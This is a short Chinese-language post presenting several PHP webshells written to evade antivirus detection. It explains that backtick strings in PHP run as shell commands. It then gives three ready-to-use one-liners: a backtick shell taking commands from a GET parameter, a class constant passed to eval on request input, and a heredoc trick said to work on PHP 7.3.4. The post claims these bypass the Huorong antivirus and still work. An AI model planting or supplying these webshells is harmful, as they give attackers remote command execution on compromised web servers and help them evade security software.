PHP下的几种免杀Webshell

重音符下的PHP

在PHP中，当你写一个集合等于一个用重音符包裹的字符串的变量时，它将像在shell_exec()命令内一样被执行。

https://www.nuomiphp.com/eplan/437635.html。具体的原因我们也不深究，只需要知道它的功能就是可以执行命令，同时它的木马也很简单，只需要轻轻松松的一句话。

<?=`$_GET[1]`;

免杀效果也是杠杠的：

也能够执行。

使用类的Webshell

使用类的webshell是老生长谈的话题了。同样这个也能过掉火绒并且正常使用。

<?php
class test{
const name='eval(end($_REQUEST));';
}
eval(test::name);
?>

使用PHP版本差异的方法

php 7.3.4的版本下，在;号下可以解析传过来的参数

<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `$_GET[1]`
?>